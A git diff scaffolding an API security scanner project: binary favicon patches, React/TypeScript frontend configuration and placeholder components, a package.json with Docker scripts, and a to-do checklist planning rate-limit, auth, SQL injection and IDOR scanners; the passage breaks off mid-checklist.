zH#0k}B5iQKM;{M_=EPHp@Hpk=i6j+% zT=&?P;pcBBd`t9xHgkB%?Dhtg^LqMYNBHBROH4xtTXhb}-F!&@h3q}dRlq96X$z|@ zeu_ewaUVUr(Gj9l3=n{wgdIC{kr|&-?SGAVlHuE+gu}<7%T-#4$`FjGt_*as+;KFt z=7LKZf@R(d%~K_J#rlKMeiL~H^8o4nlFWY$LNxwD-T@6(`OTR$zxeqg3O^lAZP#_Z z5I!=KKBG17-}nWFz26}{9z|bli#P}}E!X2_F)Fw3^j7?;>MNKc3E-cFvZFyRH-hl_r8J|ygS z5yr#D8l=V+M14=v8$Y5&lxCD#NLQOGfpmA;dCvt#GU3xt73Ned8E44ebi*H!gOeOI zbJ*HzvtR0)64@ipOPx?6xCJS@duo>W15rk*H~-4kFKWq0@k+RVmLW7#Urv+CZx^Ng zEz+S7Oedz5hl_H}`AAk>AiRdCs?ilezDc*k{eRA`GP1LVlszF!c-=EcmmHi8F%q1d zQh#>7P7aYl3B^l^b`tw8F=q$vT;s2`>p1FHOOa0EYc-_EH$wdsDv#707ygQGb?M;7aD=vm5JmJF6Tb6VOIHO zPMqs5E!xwC@+ehw=WKgsHPxtUd=B*{uifw|W53j^+SJF|s-i2`jCMdJPhFEpdj z`U15|kne$&p#ui%^!P~zW>~})WH7W$pw_!Tp2;i<8H0HwWSufKC5y6+rn{{r zB&WFeZzd%yf&f1Oj?_woN-Ka`p7Gb@eg^muI_6M`4k&IfQ^N&}oD3>?NH*tUe_K1; zN$sqs{eQdKSj~SOD0y-s+P{{{P*P91Vb!puvE(WPUsK5;eGIHeeS0`XwG9_Wl>kZ$ ze;l>yf>uk(5)@XMS4i-)zU5g4Zt%;hDp7w_F3Kk}rovGyRS)NxT-g_=n0%rq%wux? z-o+rH!7sT9;ybyDojT?<56F*irRrtVYB-%D5V2>zsQmY_`5^nLf!gqro8e?DnncU_ zOr%tOxqLNS1J#9qiKR3E}T7@&06T}-E zYus3&!}dx^H4A&lQ-rb{i3e(3;?jW`73-9Vks&7C#@y_f+sm8cF4l)Td*|au+f@?3 zZ)DZhlau$GZD`whUy5B9Ue43C+vU>MBjoip?6OqqEoIQ-D+d+YSzllxoEa6%`?@W| z z65w_A<8(c?pYau*AEAHF|x41HKynLIiaM$~MCv)OO zTV6C`F)Q@1k2rx`Inpa8Uuwf1o`GWt`+Pg#PhjR5Y-4&s_JNdiYU1+_)NXshKy1pL zVNo70QZ7$EE4gZahv>DjiOT_*A0LYsmPfJa;sOMuQV#p6D${{~D{&~%CMh%GvdS~HOJ#RRF=fg!eH9-l zNF4#@$Qhj+Nx&%jL;ON ztSnEtyeAiv%py>YO4m7)qg0kY6jgpE*NHHSpl+f5TMfm&FC~9Eh0cl7$n_XQ|7ROQ8V7 z1HLvVzl

D1-0)KQVVtfV$%~A2Zwn%eGvJDdhgVtJD2|9rUGgk9~$5!$C+b4960v z#{(Yj!&wy)&=#Y%>a*eCUZ{hT!T3n#-T~1Z_3~xKzY8*yw!%nFQ&af_;mS~d;ywEh zO!aY~bE1JRmc0#C6FPVFM*=-zEojE78K~5r$IlgI>&@_Q!>qFh6g`g;vZlngoMCz z3^P)sTKXLTx-Uy|9Pt(UWXT-U#F>)7t!xwvEGq?grJ_v_XsW~x##j$4B*oCw}PpH}e(N_M!OlKQ7@a>b0fBfQ#wH>&-W;3uK|`C`9#tY%7d#eL@T zU2!J*3|m?c=?$L(OQ*jb2wds@Sry%Pr+bfyf3jBh^E@d0IR9>iQ_lO+Zu&1Aa(Y>2 zhGs>=>RX89$Pi}w5Fxc2{aZFNZIkQP_?RtYi){C~4o<2C>Q literal 0 HcmV?d00001 diff --git a/api-security-scanner/frontend/public/favicon-16x16.png b/api-security-scanner/frontend/public/favicon-16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..3d23377df2aafbd672001c67dcdc28502de76272 GIT binary patch literal 378 zcmV-=0fqjFP)1TS5wi1g8dSnxu(*<99>?o;u^mo8_L z-N~6@$R-j%wG5&G>A4aRLVyM;n!!IwgUwbO&Fx(@TRYg;YV&GhlLn?J@G*YF_hbUC zR;ZP)q=D2LA$S;5z}k{m6U!PX5@%V1mg^EiLTNq)Yao?|H3ou&*=hsMT1d&Zf@Qt4 z(3CpXSoE~=2KRKT7$D*|UVh!Swurpj;oZ~cz?df!{dNj`AQm;W`>*Fr#VVG3%nfsUx>}| z5Di~P$X`Z?n;JO|$plphnErebK2cTi!gBI|67cPR*y;svM| z1e((C?Y7(f@|+@a1F_TC5Z&(SbZ5@Y`E~X`XGQ`D&(aux;-B69?*RxQAcTaJ5`s<8 zGnGDmE+kw5@V_10~m<}%=idewHmBSg~}>g z^*W+419~(ze1LA-M(yALcC(3Qy#}jMhe5$jBMz_I9X>!1gpisBr|TdLLj*y9;@&Q; zW%}*=!v|pDX^{v8I!+&97{InH9M)5l!mTXAF!X-~5)|gxJkNy?{7lsfw-Nx0On^Tp zN9eR$Bu4Y(##3sQ0Hmg2G@U`Dr}pDl08&8IFp-+f_4IK{tP`u103v!6j@?3|Ql`NK zG)+e=W?~|fL)&Vi+vyO1(vVQ{4oUTz#sU=J%lBP4P6y@EJ}k-whax;|-He@r~x4)a#MM*2m{4j zpakGiP@Qye|Lz^+Gil`0qnMsdB9j`y!w2`EQ%3ZCukU})j!FRBp-nSTDwVLddI|a5 zIV{Z0;O6RO?C%%hP?}~R6;lS#N%aZgA#NJDeSH~gD@#ZwM-Uf2jA&FPcF$KCfD{Pf zIas+kkMt-7CXgG;iwIn&H=yd5GJqD*F-GSBI{>m**Kq#YEmS)$vePpNNQ{yWCn^w9 z#hHEE%{pFwC?Gk11?yk7@VT&os2~ApZZ2UU7^~3ycl=xS{{#GKrhWnd0RR732e5+x000I_L_t&o0NvU_FfIA?Bme*a07*qoM6N<$ Ef@x)oY5)KL literal 0 HcmV?d00001 diff --git a/api-security-scanner/frontend/public/favicon.ico b/api-security-scanner/frontend/public/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..e73bac0c191f975cd221b1c5543ce4e7f05687d8 GIT binary patch literal 15406 zcmeHO`BPL^7Vd`LH+tV!x@kZq7-s|r6;y-}%a}Nc7-gbhKoLREh^Rn9M2$>bl1wVm zq%sqyi2OV$|AzUuzB%8;PIWPhybj&dRq3v}bHZne=~|?XbdetG@1^>0KgfrwD|K~xxEwY#NYU%{ zn%8GE)T6z97k0kB8wP>3?$K$t;?%i0oF2Ue!dm<9>DY~xKR?FG=a2D+J)N5S@7>#j zGviA*J8>KP_8-*TzxO~lTDSdPmA+nW{p;)N5DWTXH5ypwIP7|7g&wsW0d8HaK9CJv+>1q+=n? z{bOMtQqh3g2VpI1XInjs;7_k#ueJ8q&|aFB{v)4BOF1Bg{ON!EG~+6TE&$I7+xu85R+I zpBSFS(AWY_i5_rjbY7hSzZJJF2TVNo_H^OtlW#G9V-E8-ZwUMi`VVz0IxNSW#bYL; ze#~53z~uE6tgilq=g-$LaqT|l=9iHW*<7bVA1EGovv4Hn!Kt%Tn7r{9T=?h_#;!iV z^ukk|K0Aq6I9PW4M`ixu4<~Wt_$Y?XFXDrXw*@|jkPqQe(#fqXhD_z%Hhvy^TBJX^{h+8u?nFVu;!U+DwX3$_yH8^@xYi-)}b zasGhVRvX)I^|RmOMA+BxZ}@MFhe5qytLNJ|9_=r`lmgya)1G{-r4jB5=pa7XqepxX zc9U7n%e$YBhSA=Vg->W><9fIHIU(}5NoYOn^B~}MsS@_N)jP_@t)6e=c*H;FY01XX z+!#eZ9g#YwWWQHvb7T9hex~hP$0B&A&a0lKre4VRTRmTGyt3Qcg5uxqkA4zy(dve! z)cho6r?nb?5P2!2Rx33e{9kFnB(|JY^m)cm91gLkq^57fF8X^VeR-wc1-s3x;!w25 zX&1R&h1w3Q*rlb8Td983pPY7^+JjT@uVQL~f4(cX4`(a(NWG8tPEuki)Iq5e)Bd9` z)M%)jFSwMwFpfrBmilsYQxm%O4`6Ti5o~K|RrV$Q3~W=%*p=wR^+hChme0g+6tGwBzX~*w)gF;mNz0TYiS?cb;K%<^kH<+7u5e zryr-3H5dAj?#XlF;%hx}YzULLo?ztCZ46I*ic2@Y#qpCD5Dj@$8@4UyLdSV>uctG)^YUHDoQ5oSgJ$pNFd+B3botehTcaLM} zuD;o+k% z(LeC^%lv@q;zQ&+d-nF?z4u3O@#+eu7k|KsKV8PVLsOWVe~OE;{=xT$(S7i!@F?y1 zC53Y?S50}lucseV)3X?v{7mtlxqHts_t_fG&)mn@%;%W6G=qbOkBN-Xp5IWebr;5^ zuC{CEE=G$Yfe@{@NF~aQ$oK^RMB|#2s9nT|~$3PQ`-?{i>y=k8@w=E=*2c z!I;Ee8?)Qd`{qd;6TX>ayD*Kz2lrJZ9;6j7)RT9=-iGDnyV%~g2SHy5hx!N6 zfAj;<-NcvJ`a9gZ^@;G;PNfTJ9lzY|Q?Vd=x;k+8&N8yO9k3Y9a!(zqSd1nl5;@_m zpJ1TxfW*VfACJ_sU+R>UsV%uQvZ(}Yq9>ch4zS33i`0az^#)mY1Up)Cs%<6n3SPAr z-d)Du7z1Ox%SHQB~?1P|R z^8Kp779b88yUR=73iB6(0(1SOdB$$-CKJ5ETZwnC)1hdH@m#;e)T;si%=e2)+%cDo zNc`D?kkC*e_Qm)Y<4{&Pqln*&_ST%7kUX9r-j`a|vwACIn8&yR_0f10w4f7by37w2to) z8-TuN=9{sr+?4x<17 literal 0 HcmV?d00001 diff --git a/api-security-scanner/frontend/public/site.webmanifest b/api-security-scanner/frontend/public/site.webmanifest new file mode 100644 index 00000000..45dc8a20 --- /dev/null +++ b/api-security-scanner/frontend/public/site.webmanifest @@ -0,0 +1 @@ +{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"} \ No newline at end of file diff --git a/api-security-scanner/frontend/src/App.tsx b/api-security-scanner/frontend/src/App.tsx new file mode 100644 index 00000000..7ce89ef4 --- /dev/null +++ b/api-security-scanner/frontend/src/App.tsx @@ -0,0 +1,24 @@ +/** + * ©AngelaMos | 2025 + * Main application component + */ + +function App() { + return ( +

+

API Security Scanner - Placeholder

+
+ ); +} + +export default App; diff --git a/api-security-scanner/frontend/src/config/constants.ts b/api-security-scanner/frontend/src/config/constants.ts new file mode 100644 index 00000000..6aa86846 --- /dev/null +++ b/api-security-scanner/frontend/src/config/constants.ts @@ -0,0 +1,85 @@ +/** + * ©AngelaMos | 2025 + * All hardcoded values, API endpoints, and configuration constants + */ + +/** + * API Configuration + */ +export const API_BASE_URL = + import.meta.env.VITE_API_URL || 'http://localhost/api'; + +export const API_ENDPOINTS = { + // Auth endpoints + AUTH: { + REGISTER: '/auth/register', + LOGIN: '/auth/login', + }, + // Scan endpoints + SCANS: { + CREATE: '/scans', + LIST: '/scans', + GET: (id: number) => `/scans/${id}`, + DELETE: (id: number) => `/scans/${id}`, + }, +} as const; + +/** + * LocalStorage Keys + */ +export const STORAGE_KEYS = { + AUTH_TOKEN: 'auth_token', + USER: 'user', +} as const; + +/** + * Application Constants + */ +export const APP_NAME = 'API Security Scanner'; +export const APP_VERSION = '1.0.0'; + +/** + * Scan Configuration + */ +export const SCAN_TYPES = { + RATE_LIMIT: 'rate_limit', + AUTH: 'auth', + SQLI: 'sqli', + IDOR: 'idor', +} as const; + +export const SCAN_TYPE_LABELS: Record = { + [SCAN_TYPES.RATE_LIMIT]: 'Rate Limiting', + [SCAN_TYPES.AUTH]: 'Authentication', + [SCAN_TYPES.SQLI]: 'SQL Injection', + [SCAN_TYPES.IDOR]: 'IDOR', +}; + +/** + * Severity Levels + */ +export const SEVERITY = { + CRITICAL: 'critical', + HIGH: 'high', + MEDIUM: 'medium', + LOW: 'low', + INFO: 'info', +} as const; + +export const SEVERITY_COLORS: Record = { + [SEVERITY.CRITICAL]: '#dc2626', + [SEVERITY.HIGH]: '#ea580c', + [SEVERITY.MEDIUM]: '#f59e0b', + [SEVERITY.LOW]: '#3b82f6', + [SEVERITY.INFO]: '#6b7280', +}; + +/** + * Scan Status + */ +export const SCAN_STATUS = { + PENDING: 'pending', + RUNNING: 'running', + COMPLETED: 'completed', + FAILED: 'failed', +} as const; diff --git a/api-security-scanner/frontend/src/lib/api.ts b/api-security-scanner/frontend/src/lib/api.ts new file mode 100644 index 00000000..7e624ef6 --- /dev/null +++ b/api-security-scanner/frontend/src/lib/api.ts @@ -0,0 +1,51 @@ +/** + * ©AngelaMos | 2025 + * Axios instance with request/response interceptors + */ + +import axios, { AxiosError, AxiosResponse } from 'axios'; +import { API_BASE_URL, STORAGE_KEYS } from '@/config/constants'; + +/** + * Create axios instance with base configuration + */ +export const api = axios.create({ + baseURL: API_BASE_URL, + timeout: 30000, + headers: { + 'Content-Type': 'application/json', + }, +}); + +/** + * Request interceptor - attach auth token to requests + */ +api.interceptors.request.use( + (config) => { + const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN); + if (token) { + config.headers.Authorization = `Bearer ${token}`; + } + return config; + }, + (error: AxiosError) => { + return Promise.reject(error); + }, +); + +/** + * Response interceptor - handle common errors + */ +api.interceptors.response.use( + (response: AxiosResponse) => { + return response; + }, + (error: AxiosError) => { + if (error.response?.status === 401) { + localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN); + localStorage.removeItem(STORAGE_KEYS.USER); + window.location.href = '/login'; + } + return Promise.reject(error); + }, +); diff --git a/api-security-scanner/frontend/src/lib/queryClient.ts b/api-security-scanner/frontend/src/lib/queryClient.ts new file mode 100644 index 00000000..34ac96dc --- /dev/null +++ b/api-security-scanner/frontend/src/lib/queryClient.ts @@ -0,0 +1,19 @@ +/** + * ©AngelaMos | 2025 + * TanStack Query client configuration + */ + +import { QueryClient } from '@tanstack/react-query'; + +export const queryClient = new QueryClient({ + defaultOptions: { + queries: { + retry: 1, + refetchOnWindowFocus: false, + staleTime: 5 * 60 * 1000, // 5 minutes + }, + mutations: { + retry: false, + }, + }, +}); diff --git a/api-security-scanner/frontend/src/main.tsx b/api-security-scanner/frontend/src/main.tsx new file mode 100644 index 00000000..050e345b --- /dev/null +++ b/api-security-scanner/frontend/src/main.tsx @@ -0,0 +1,14 @@ +/** + * ©AngelaMos | 2025 + * Application entry point + */ + +import { StrictMode } from 'react'; +import { createRoot } from 'react-dom/client'; +import App from './App.tsx'; + +createRoot(document.getElementById('root')!).render( + + + , +); diff --git a/api-security-scanner/frontend/src/router.tsx b/api-security-scanner/frontend/src/router.tsx new file mode 100644 index 00000000..a7da38be --- /dev/null +++ b/api-security-scanner/frontend/src/router.tsx @@ -0,0 +1,51 @@ +/** + * ©AngelaMos | 2025 + * Application routing configuration + */ + +import { createBrowserRouter } from 'react-router-dom'; + +/** + * Placeholder components for routes + */ +const PlaceholderPage = ({ title }: { title: string }) => ( +
+

{title}

+

Page coming soon...

+
+); + +export const router = createBrowserRouter([ + { + path: '/', + element: , + }, + { + path: '/login', + element: , + }, + { + path: '/register', + element: , + }, + { + path: '/scan', + element: , + }, + { + path: '/history', + element: , + }, +]); diff --git a/api-security-scanner/frontend/tsconfig.app.json b/api-security-scanner/frontend/tsconfig.app.json new file mode 100644 index 00000000..e3a4a562 --- /dev/null +++ b/api-security-scanner/frontend/tsconfig.app.json @@ -0,0 +1,28 @@ +{ + "compilerOptions": { + "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", + "target": "ES2022", + "useDefineForClassFields": true, + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "verbatimModuleSyntax": true, + "moduleDetection": "force", + "noEmit": true, + "jsx": "react-jsx", + "isolatedModules": true, + "baseUrl": ".", + "paths": { + "@/*": ["./src/*"], + }, + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "noImplicitReturns": true, + "exactOptionalPropertyTypes": true + }, + "include": ["src"] +} diff --git a/api-security-scanner/frontend/tsconfig.json b/api-security-scanner/frontend/tsconfig.json new file mode 100644 index 00000000..1ffef600 --- /dev/null +++ b/api-security-scanner/frontend/tsconfig.json @@ -0,0 +1,7 @@ +{ + "files": [], + "references": [ + { "path": "./tsconfig.app.json" }, + { "path": "./tsconfig.node.json" } + ] +} diff --git a/api-security-scanner/frontend/tsconfig.node.json b/api-security-scanner/frontend/tsconfig.node.json new file mode 100644 index 00000000..73b88a37 --- /dev/null +++ b/api-security-scanner/frontend/tsconfig.node.json @@ -0,0 +1,22 @@ +{ + "compilerOptions": { + "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo", + "target": "ES2023", + "lib": ["ES2023"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "verbatimModuleSyntax": true, + "moduleDetection": "force", + "noEmit": true, + "composite": true, + "resolveJsonModule": true, + "isolatedModules": true, + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true + }, + "include": ["vite.config.ts"] +} diff --git a/api-security-scanner/frontend/vite.config.ts b/api-security-scanner/frontend/vite.config.ts new file mode 100644 index 00000000..fc396aaa --- /dev/null +++ b/api-security-scanner/frontend/vite.config.ts @@ -0,0 +1,41 @@ +// =================== +// © AngelaMos | 2025 +// vite.config.ts +// =================== +import react from '@vitejs/plugin-react'; +import tsconfigPaths from 'vite-tsconfig-paths'; +import { defineConfig } from 'vite'; + +export default defineConfig({ + plugins: [react(), tsconfigPaths()], + resolve: { + alias: { + '@': '/src', + }, + extensions: ['.ts', '.tsx', '.js', '.jsx', '.json'], + }, + build: { + outDir: 'build', + sourcemap: false, + rollupOptions: { + output: { + manualChunks: { + vendor: ['react', 'react-dom'], + router: ['react-router-dom'], + query: ['@tanstack/react-query'], + }, + }, + }, + }, + server: { + host: '0.0.0.0', + port: 5173, + proxy: { + '/api': { + target: process.env.VITE_PROXY_TARGET || 'http://backend:8000', + changeOrigin: true, + rewrite: (path) => path.replace(/^\/api/, ''), + }, + }, + }, +}); diff --git a/api-security-scanner/package.json b/api-security-scanner/package.json new file mode 100644 index 00000000..7faec519 --- /dev/null +++ b/api-security-scanner/package.json @@ -0,0 +1,33 @@ +{ + "name": "api-security-scanner", + "version": "1.0.0", + "description": "Automated API security testing tool with FastAPI backend and ReactTS frontend", + "private": true, + "scripts": { + "dev": "docker-compose -f docker-compose.dev.yml up", + "dev:build": "docker compose -f docker-compose.dev.yml up --build", + "dev:down": "docker compose -f docker-compose.dev.yml down", + "dev:logs": "docker compose -f docker-compose.dev.yml logs -f", + "prod": "docker compose -f docker-compose.prod.yml up -d", + "prod:build": "docker compose -f docker-compose.prod.yml up --build -d", + "prod:down": "docker compose -f docker-compose.prod.yml down", + "prod:logs": "docker compose -f docker-compose.prod.yml logs -f", + "clean": "docker compose -f docker-compose.dev.yml down -v && docker compose -f docker-compose.prod.yml down -v", + "clean:all": "npm run clean && docker system prune -af --volumes" + }, + "repository": { + "type": "git", + "url": "https://github.com/carterperez-dev/api-security-scanner" + }, + "keywords": [ + "security", + "api-testing", + "vulnerability-scanner", + "pentesting", + "fastapi", + "react", + "docker" + ], + "author": "CarerPerez-dev - also replace my github url username with yours", + "license": "MIT" +} diff --git a/checklist.md b/checklist.md new file mode 100644 index 00000000..1e8c1679 --- /dev/null +++ b/checklist.md @@ -0,0 +1,698 @@ +# API Security Testing Tool - Implementation Checklist + +**Project Start Date:** 2025-11-08 +**Status:** In Progress + +--- + +## ✅ PROJECT SETUP + +### Initial Structure +- [x] Create `/backend` directory +- [ ] Create `/frontend` directory +- [ ] Create `/conf` directory for Docker/Nginx configs +- [x] Create root `.gitignore` file + +--- + +## 🐍 BACKEND - FOUNDATION + +### Python Project Setup +- [ ] Create `backend/pyproject.toml` with project metadata +- [ ] Create `backend/requirements.txt` with all dependencies +- [ ] Create `backend/.python-version` (specify Python 3.11) +- [x] Create `backend/.style.yapf` for code formatting +- [ ] Create `backend/.env.example` with all required environment variables +- [ ] Create `backend/__init__.py` (empty, marks as package) + +### Core Configuration +- [ ] Create `backend/config.py` with Settings class (Pydantic BaseSettings) +- [ ] Add all magic number constants to config.py (PASSWORD_MIN_LENGTH, MAX_REQUESTS_DEFAULT, etc.) +- [ ] Add database URL configuration +- [ ] Add JWT settings (SECRET_KEY, ALGORITHM, ACCESS_TOKEN_EXPIRE_MINUTES) +- [ ] Add CORS origins configuration +- [ ] Add scanner default settings +- [ ] Implement cached settings function with @lru_cache + +### Core Modules - `backend/core/` +- [ ] Create `backend/core/__init__.py` +- [ ] Create `backend/core/enums.py` with ScanStatus enum +- [ ] Add Severity enum to enums.py +- [ ] Add TestType enum to enums.py +- [ ] Create `backend/core/database.py` with SQLAlchemy engine setup +- [ ] Add SessionLocal factory to database.py +- [ ] Add Base declarative_base to database.py +- [ ] Add get_db() dependency function to database.py +- [ ] Create `backend/core/security.py` with bcrypt password hashing +- [ ] Add JWT token creation function to security.py +- [ ] Add JWT token decode/verify function to security.py +- [ ] Create `backend/core/dependencies.py` with HTTPBearer security +- [ ] Add get_current_user() dependency to dependencies.py + +--- + +## 🗄️ BACKEND - DATA LAYER + +### Models - `backend/models/` +- [ ] Create `backend/models/__init__.py` +- [ ] Create `backend/models/User.py` (thin, just table definition) +- [ ] Create `backend/models/ScanResult.py` (scan history table) +- [ ] Create `backend/models/ApiTarget.py` (optional: store target APIs) + +### Schemas (Pydantic V2) - `backend/schemas/` +- [ ] Create `backend/schemas/__init__.py` +- [ ] Create `backend/schemas/shared_schemas.py` with generic response models +- [ ] Create `backend/schemas/user_schemas.py` with UserCreate schema +- [ ] Add UserLogin schema to user_schemas.py +- [ ] Add UserResponse schema with ConfigDict(from_attributes=True) to user_schemas.py +- [ ] Add TokenResponse schema to user_schemas.py +- [ ] Create `backend/schemas/scan_schemas.py` with ScanRequest schema +- [ ] Add ScanResult schema to scan_schemas.py (individual test result) +- [ ] Add ScanResponse schema to scan_schemas.py (complete scan response) +- [ ] Replace ALL magic numbers in Field() with config constants + +### TypedDicts - `backend/types/` +- [ ] Create `backend/types/__init__.py` +- [ ] Create `backend/types/scan_types.py` with ScannerResult TypedDict +- [ ] Add ScannerConfig TypedDict to scan_types.py +- [ ] Create `backend/types/service_types.py` with service layer TypedDicts +- [ ] Create `backend/types/repository_types.py` with UserDict TypedDict + +### Repositories - `backend/repositories/` +- [ ] Create `backend/repositories/__init__.py` +- [ ] Create `backend/repositories/shared_repository.py` with base repository functions +- [ ] Create `backend/repositories/user_repository.py` as static class +- [ ] Add get_by_email() method to UserRepository +- [ ] Add get_by_id() method to UserRepository +- [ ] Add create() method to UserRepository +- [ ] Add get_all_active() method to UserRepository +- [ ] Create `backend/repositories/scan_repository.py` as static class +- [ ] Add save_scan() method to ScanRepository +- [ ] Add get_by_user() method to ScanRepository +- [ ] Add get_by_id() method to ScanRepository + +--- + +## 🧠 BACKEND - BUSINESS LOGIC + +### Services - `backend/services/` +- [ ] Create `backend/services/__init__.py` +- [ ] Create `backend/services/auth_service.py` with AuthService class +- [ ] Add register_user() method to AuthService +- [ ] Add login_user() method to AuthService (returns TokenResponse) +- [ ] Add password validation logic to AuthService +- [ ] Add user existence check to AuthService +- [ ] Create `backend/services/user_service.py` with UserService class +- [ ] Add get_user_profile() method to UserService +- [ ] Add update_user() method to UserService +- [ ] Create `backend/services/scan_service.py` with ScanService class +- [ ] Add run_scan() async method to ScanService +- [ ] Add get_scan_history() method to ScanService +- [ ] Add get_scan_by_id() method to ScanService +- [ ] Implement concurrent scanner execution with asyncio.gather() in ScanService + +--- + +## 🔍 BACKEND - SECURITY SCANNERS + +### Base Scanner - `backend/scanners/` +- [ ] Create `backend/scanners/__init__.py` +- [ ] Create `backend/scanners/base_scanner.py` with BaseScanner ABC +- [ ] Add abstract scan() method to BaseScanner +- [ ] Add _create_result() helper method to BaseScanner + +### Rate Limit Scanner +- [ ] Create `backend/scanners/rate_limit_scanner.py` inheriting BaseScanner +- [ ] Implement concurrent request sending with httpx AsyncClient +- [ ] Add response analysis logic (count 429 status codes) +- [ ] Add vulnerability detection logic (no rate limiting = vulnerable) +- [ ] Add evidence collection (requests_sent, successful_requests, rate_limited) +- [ ] Add recommendations for vulnerable cases +- [ ] Add _send_request() helper method + +### Auth Scanner +- [ ] Create `backend/scanners/auth_scanner.py` inheriting BaseScanner +- [ ] Implement expired token test +- [ ] Implement missing token test +- [ ] Implement malformed token test +- [ ] Implement token location tests (header/query/body) +- [ ] Add vulnerability detection logic +- [ ] Add evidence collection +- [ ] Add recommendations + +### SQLi Scanner +- [ ] Create `backend/scanners/sqli_scanner.py` inheriting BaseScanner +- [ ] Define common SQLi payloads list +- [ ] Implement payload injection in URL params +- [ ] Implement payload injection in request body +- [ ] Implement error-based detection (look for SQL errors in responses) +- [ ] Implement time-based detection (measure response times) +- [ ] Add vulnerability detection logic +- [ ] Add evidence collection (vulnerable params, payloads that worked) +- [ ] Add recommendations + +### IDOR/BOLA Scanner +- [ ] Create `backend/scanners/idor_scanner.py` inheriting BaseScanner +- [ ] Implement ID parameter detection in URLs +- [ ] Implement ID increment/decrement testing +- [ ] Implement unauthorized access detection (200 status = vulnerable) +- [ ] Add vulnerability detection logic +- [ ] Add evidence collection (accessible IDs, endpoints) +- [ ] Add recommendations + +--- + +## 🛣️ BACKEND - API ROUTES + +### Routes - `backend/routes/` +- [ ] Create `backend/routes/__init__.py` +- [ ] Create `backend/routes/auth.py` with APIRouter +- [ ] Add POST /api/auth/register endpoint (returns UserResponse) +- [ ] Add POST /api/auth/login endpoint (returns TokenResponse) +- [ ] Add exception handling for ValueError in auth routes +- [ ] Create `backend/routes/users.py` with APIRouter +- [ ] Add GET /api/users/profile endpoint (protected) +- [ ] Add PUT /api/users/update endpoint (protected) +- [ ] Create `backend/routes/scans.py` with APIRouter +- [ ] Add POST /api/scans/run endpoint (async, protected) +- [ ] Add GET /api/scans/history endpoint (protected) +- [ ] Add GET /api/scans/{scan_id} endpoint (protected) + +### Main Application +- [ ] Create `backend/main.py` with FastAPI app initialization +- [ ] Add CORS middleware with configured origins +- [ ] Include auth router with prefix /api/auth +- [ ] Include users router with prefix /api/users +- [ ] Include scans router with prefix /api/scans +- [ ] Add root health check endpoint GET / +- [ ] Add database table creation (Base.metadata.create_all) +- [ ] Configure docs URL as /api/docs +- [ ] Configure redoc URL as /api/redoc +- [ ] Add uvicorn run configuration if __name__ == "__main__" + +--- + +## ⚛️ FRONTEND - FOUNDATION + +### Vite + React + TypeScript Setup +- [ ] Initialize Vite project with React + TypeScript template in /frontend +- [ ] Create `frontend/tsconfig.json` with strict mode enabled +- [ ] Create `frontend/vite.config.ts` with path aliases (@/) +- [ ] Create `frontend/.eslintrc.cjs` with TypeScript rules +- [ ] Create `frontend/.prettierrc` with formatting rules +- [ ] Create `frontend/.env.example` with VITE_API_URL + +### Package Installation +- [ ] Install React and React-DOM +- [ ] Install react-router-dom for routing +- [ ] Install @tanstack/react-query for server state +- [ ] Install zustand for UI state management +- [ ] Install axios for HTTP requests +- [ ] Install zod for validation +- [ ] Install react-hook-form for forms +- [ ] Install @hookform/resolvers for Zod integration +- [ ] Install @radix-ui/react-tabs for accessible tabs +- [ ] Install @radix-ui/react-dialog for modals +- [ ] Install recharts for data visualization +- [ ] Install react-icons for icons + +### Frontend Structure +- [ ] Create `frontend/src/config/` directory +- [ ] Create `frontend/src/types/` directory +- [ ] Create `frontend/src/hooks/` directory +- [ ] Create `frontend/src/lib/` directory +- [ ] Create `frontend/src/store/` directory +- [ ] Create `frontend/src/services/` directory +- [ ] Create `frontend/src/components/` directory +- [ ] Create `frontend/src/pages/` directory +- [ ] Create `frontend/src/styles/` directory + +--- + +## ⚙️ FRONTEND - CONFIGURATION + +### Config Files - `frontend/src/config/` +- [ ] Create `frontend/src/config/constants.ts` with APP_CONFIG object +- [ ] Add ROUTES constants to constants.ts (LOGIN, REGISTER, DASHBOARD, etc.) +- [ ] Add UI_TEXT constants to constants.ts (buttons, headers, labels, placeholders, errors, success) +- [ ] Add SCAN_CONFIG constants to constants.ts (max requests, available tests) +- [ ] Add SEVERITY_CONFIG to constants.ts (colors, labels, icons) +- [ ] Create `frontend/src/config/api.ts` with API_CONFIG object +- [ ] Add BASE_URL to api.ts (from env var) +- [ ] Add TIMEOUT to api.ts +- [ ] Add all ENDPOINTS to api.ts (AUTH, SCANS, USERS) +- [ ] Create `frontend/src/config/theme.css` with CSS variables +- [ ] Add color variables (primary, status colors, backgrounds, text, borders) +- [ ] Add spacing variables to theme.css +- [ ] Add border-radius variables to theme.css +- [ ] Add shadow variables to theme.css +- [ ] Add transition variables to theme.css +- [ ] Add typography variables to theme.css +- [ ] Add z-index layer variables to theme.css + +--- + +## 📝 FRONTEND - TYPES + +### Type Definitions - `frontend/src/types/` +- [ ] Create `frontend/src/types/api.types.ts` +- [ ] Add LoginRequest interface to api.types.ts +- [ ] Add RegisterRequest interface to api.types.ts +- [ ] Add AuthResponse interface to api.types.ts +- [ ] Add UserResponse interface to api.types.ts +- [ ] Add TestType type union to api.types.ts +- [ ] Add ScanStatus type union to api.types.ts +- [ ] Add Severity type union to api.types.ts +- [ ] Add ScanRequest interface to api.types.ts +- [ ] Add ScanResult interface to api.types.ts +- [ ] Add ScanResponse interface to api.types.ts +- [ ] Create `frontend/src/types/scan.types.ts` for scanner-specific types +- [ ] Create `frontend/src/types/auth.types.ts` for auth-specific types + +--- + +## 🔌 FRONTEND - API INTEGRATION + +### API Client - `frontend/src/lib/` +- [ ] Create `frontend/src/lib/api.ts` with axios instance creation +- [ ] 